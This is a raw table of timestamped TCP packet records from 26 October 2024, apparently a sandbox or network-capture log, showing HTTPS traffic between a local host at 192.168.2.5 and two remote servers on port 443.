Oct 26, 2024 13:49:15.750814915 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.751338959 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.751360893 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.751879930 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.751888990 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.017420053 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.017493010 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.017689943 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.017918110 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.017993927 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.018033981 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.018233061 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.018377066 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.018467903 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.018621922 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.018698931 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.018764973 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.019283056 CEST	443	49834	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.022475958 CEST	49834	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.022500038 CEST	443	49834	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.022869110 CEST	443	49834	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.026179075 CEST	49834	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.026252985 CEST	443	49834	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.027870893 CEST	49839	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.027903080 CEST	443	49839	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.028116941 CEST	49839	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.028142929 CEST	49834	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.028525114 CEST	49839	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.028537035 CEST	443	49839	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.071335077 CEST	443	49834	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.082897902 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.082910061 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.082938910 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.082945108 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.085176945 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.085184097 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.085194111 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.085196972 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.088078022 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.088109016 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.090405941 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.090440989 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.090495110 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.090512037 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.107486010 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.107523918 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.107773066 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.110136986 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.110171080 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.114782095 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.114828110 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.114901066 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.115304947 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.115326881 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.117995977 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.118036032 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.118112087 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.118376970 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.118390083 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.121536016 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.121568918 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.121764898 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.121963978 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.121984005 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.165755033 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.165787935 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.296775103 CEST	443	49834	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.296868086 CEST	443	49834	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.296912909 CEST	49834	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.299264908 CEST	49834	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.299284935 CEST	443	49834	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.485966921 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.486907959 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.486959934 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.487751961 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.487771034 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.620683908 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.620839119 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.620933056 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.621269941 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.621306896 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.627398014 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.627441883 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.627602100 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.627783060 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.627794981 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.850047112 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.850770950 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.850790977 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.851610899 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.851622105 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.869339943 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.870019913 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.870044947 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.871273994 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.871279955 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.871762991 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.872159958 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.872184038 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.872817039 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.872822046 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.883439064 CEST	443	49839	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.883938074 CEST	49839	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.883958101 CEST	443	49839	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.884429932 CEST	443	49839	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.884864092 CEST	49839	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.884942055 CEST	443	49839	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.885304928 CEST	49839	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:16.931335926 CEST	443	49839	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:16.953847885 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.954878092 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.954905033 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.956543922 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.956551075 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.979957104 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.980146885 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.980233908 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.980382919 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.980398893 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.980411053 CEST	49842	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.980417013 CEST	443	49842	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.987437010 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.987533092 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:16.987624884 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.987926006 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:16.987962008 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.001543999 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.001940012 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.002001047 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.002223969 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.002233982 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.002243996 CEST	49840	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.002248049 CEST	443	49840	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.005177975 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.005211115 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.005382061 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.005551100 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.005563021 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.007113934 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.007201910 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.007253885 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.007472992 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.007489920 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.007499933 CEST	49843	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.007505894 CEST	443	49843	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.011840105 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.011878967 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.012047052 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.012553930 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.012568951 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.089442968 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.089643002 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.089726925 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.090184927 CEST	49841	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.090214014 CEST	443	49841	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.096817970 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.096911907 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.096986055 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.097536087 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.097569942 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.133944035 CEST	443	49839	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:17.134031057 CEST	443	49839	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:17.134114027 CEST	49839	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:17.135714054 CEST	49839	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:17.135731936 CEST	443	49839	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:17.385078907 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.385629892 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.385663033 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.386095047 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.386102915 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.516736031 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.516843081 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.516900063 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.517107964 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.517129898 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.517142057 CEST	49844	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.517148018 CEST	443	49844	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.520077944 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.520126104 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.520253897 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.520349026 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.520359039 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.728110075 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.728737116 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.728750944 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.729424953 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.729429960 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.742093086 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.742757082 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.742801905 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.743381977 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.743396997 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.752298117 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.752814054 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.752835989 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.753678083 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.753689051 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.850049973 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.850586891 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.850622892 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.851046085 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.851058960 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.856178045 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.856353045 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.856493950 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.856534004 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.856554985 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.856566906 CEST	49846	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.856573105 CEST	443	49846	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.859458923 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.859496117 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.859673977 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.860030890 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.860044956 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.875962019 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.876033068 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.876127958 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.876301050 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.876301050 CEST	49845	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.876334906 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.876358032 CEST	443	49845	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.879687071 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.879730940 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.879911900 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.880203009 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.880222082 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.885550022 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.885757923 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.885834932 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.885899067 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.885899067 CEST	49847	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.885926008 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.885951042 CEST	443	49847	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.888053894 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.888088942 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.888390064 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.888520002 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.888534069 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.982038975 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.982196093 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.982271910 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.982434034 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.982434034 CEST	49848	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.982453108 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.982464075 CEST	443	49848	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.985368967 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.985410929 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:17.985676050 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.985852957 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:17.985867977 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.256640911 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.257081032 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.257095098 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.257531881 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.257538080 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.385526896 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.385700941 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.385762930 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.385831118 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.385850906 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.385863066 CEST	49849	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.385870934 CEST	443	49849	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.388690948 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.388751030 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.388820887 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.388948917 CEST	49854	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.388963938 CEST	443	49854	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.612541914 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.613118887 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.613145113 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.613663912 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.613672018 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.615055084 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.615502119 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.615521908 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.615900993 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.615909100 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.620047092 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.620606899 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.620639086 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.621102095 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.621109009 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.736211061 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.736809969 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.736831903 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.737246037 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.737251997 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.745059013 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.745268106 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.745315075 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.745352030 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.745369911 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.745381117 CEST	49851	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.745385885 CEST	443	49851	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.746448040 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.746573925 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.746673107 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.746771097 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.746788979 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.746803999 CEST	49850	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.746809959 CEST	443	49850	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.748866081 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.748897076 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.748958111 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.749098063 CEST	49855	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.749108076 CEST	443	49855	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.749255896 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.749267101 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.749550104 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.749599934 CEST	49856	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.749610901 CEST	443	49856	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.751529932 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.751696110 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.751760960 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.751796007 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.751812935 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.751823902 CEST	49852	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.751831055 CEST	443	49852	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.754009008 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.754031897 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.754209995 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.754365921 CEST	49857	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.754374981 CEST	443	49857	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.903882980 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.904045105 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.904109955 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.904330969 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.904346943 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.904356003 CEST	49853	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.904362917 CEST	443	49853	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.906929016 CEST	49858	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:18.906954050 CEST	443	49858	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:18.907032013 CEST	49858	443	192.168.2.5	13.107.246.60
